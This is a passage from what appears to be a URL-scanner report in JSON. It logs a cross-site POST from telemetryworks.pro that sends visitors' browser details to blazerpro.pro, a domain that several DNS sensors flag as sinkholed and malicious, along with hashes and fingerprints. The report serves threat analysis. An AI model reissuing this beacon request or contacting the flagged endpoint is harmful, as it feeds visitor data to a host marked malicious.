services.","website":"https://cloud.google.com","common_platform_enumeration":"cpe:2.3:a:google:cloud_platform:*:*:*:*:*:*:*:*","icon":"Google Cloud.svg","categories":["IaaS"]},{"name":"Envoy","description":"Envoy is an open-source edge and service proxy, designed for cloud-native applications.","website":"https://www.envoyproxy.io/","common_platform_enumeration":"cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*","icon":"Envoy.png","categories":["Reverse proxies"]},{"name":"Google Cloud CDN","description":"Cloud CDN uses Google's global edge network to serve content closer to users.","website":"https://cloud.google.com/cdn","common_platform_enumeration":"","icon":"google-cloud-cdn.svg","categories":["CDN"]}],"data":{"size":230,"size_decoded":514,"mime_type":"application/json; charset=utf-8","magic":"JSON text data","md5":"2525df1e3032e0cad9aea6d1f2075adf","sha1":"7eef4a874e9ba1e5a93b982cef24c05bc658fab3","sha256":"50add2d8809fd0e5d021e6bd551811558975bf741167baa7b86ff929cbecc277","sha512":"b00d43bf269fd67e5b51ccae506e162b72bfc82ceb0bb8004e8f6f8fe62a38a524e8eaf7d90155475907a98871723c4168afdb29f206319d0b0ba6b58b84dcf4","ssdeep":"","tlshash":"5ad022e0038ec333cc0c0c00e08833b022383bca88c20e02e30e00c0008822fb222302","first_seen":"2026-08-02T22:27:59.802067Z","last_seen":"2026-08-05T23:24:57.659033Z","times_seen":9,"resource_available":false,"data":null}},"time_used":106,"timings":{"blocked":-1,"dns":18,"connect":13,"send":0,"wait":56,"receive":0,"ssl":19},"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"blazerpro.pro/api/index.php?q=IUEdaGD4ZDHzzSYotw","fqdn":"blazerpro.pro","domain":"blazerpro.pro","tld":"pro"},"ip":{"addr":"172.67.211.20","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"xhr","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.668Z","timestamp":1785964438668,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"blazerpro.pro","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Wed, 29 Jul 2026 14:20:24 GMT","end":"Tue, 27 Oct 2026 15:18:53 GMT"},"fingerprint":{"sha1":"5C:39:27:14:67:A6:9D:23:7E:1A:5C:AF:CD:ED:35:95:AF:A2:F2:C6","sha256":"BA:7E:E6:C6:23:3F:3B:0B:0D:73:51:E6:A9:ED:25:F3:69:09:25:44:A8:7B:0E:A1:D3:7C:5E:D8:92:89:A6:ED"}}},"request":{"raw":"POST /api/index.php?q=IUEdaGD4ZDHzzSYotw HTTP/1.1\r\nHost: blazerpro.pro\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nContent-Type: application/json\r\nContent-Length: 185\r\nOrigin: https://telemetryworks.pro\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST","post_data":{"size":185,"data":"{\"eventType\":\"view\",\"userAgent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\",\"language\":\"en-US\",\"screen\":\"1280x1024\",\"domain\":\"telemetryworks.pro\"}"}},"response":{"raw":"HTTP/3 204 \r\ndate: Wed, 05 Aug 2026 21:13:58 GMT\r\nserver: cloudflare\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type, Authorization, User-Agent\r\nnel: {\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}\r\npriority: u=3,i=?0\r\ncf-cache-status: DYNAMIC\r\nreport-to: {\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=Ujtnhyhw9SoaE6sqYnMnQbuG5mDQ%2BbgaV84w2QbfQ4DOETqo9RZpKU2U373QyJxrK%2BR4X68HCXFRXjOGwg9rxlDeOqng8%2FSn1B7ppjJGAJbkmkqQJ1zD%2FnkaQOZN0dtF\"}]}\r\ncf-ray: a268cf0e090bc759-OSL\r\nalt-svc: h3=\":443\"; ma=86400\r\nserver-timing: cfExtPri\r\n\r\n","headers":null,"cookies":null,"status_code":"204","status_text":"","fingerprints":[{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}],"data":{"size":0,"size_decoded":1395,"mime_type":"text/xml","magic":"","md5":"d41d8cd98f00b204e9800998ecf8427e","sha1":"da39a3ee5e6b4b0d3255bfef95601890afd80709","sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","sha512":"cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e","ssdeep":"","tlshash":"","first_seen":"0001-01-01T00:00:00Z","last_seen":"2026-08-05T23:03:04.169812Z","times_seen":17732675,"resource_available":true,"data":null}},"time_used":96,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":96,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"cloudflare_dns","sensor_type":"DNS","title":"Cloudflare DNS","description":"Cloudflare DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.cloudflare.com/application-services/products/dns/","meta":null}],"urlquery":null}}]}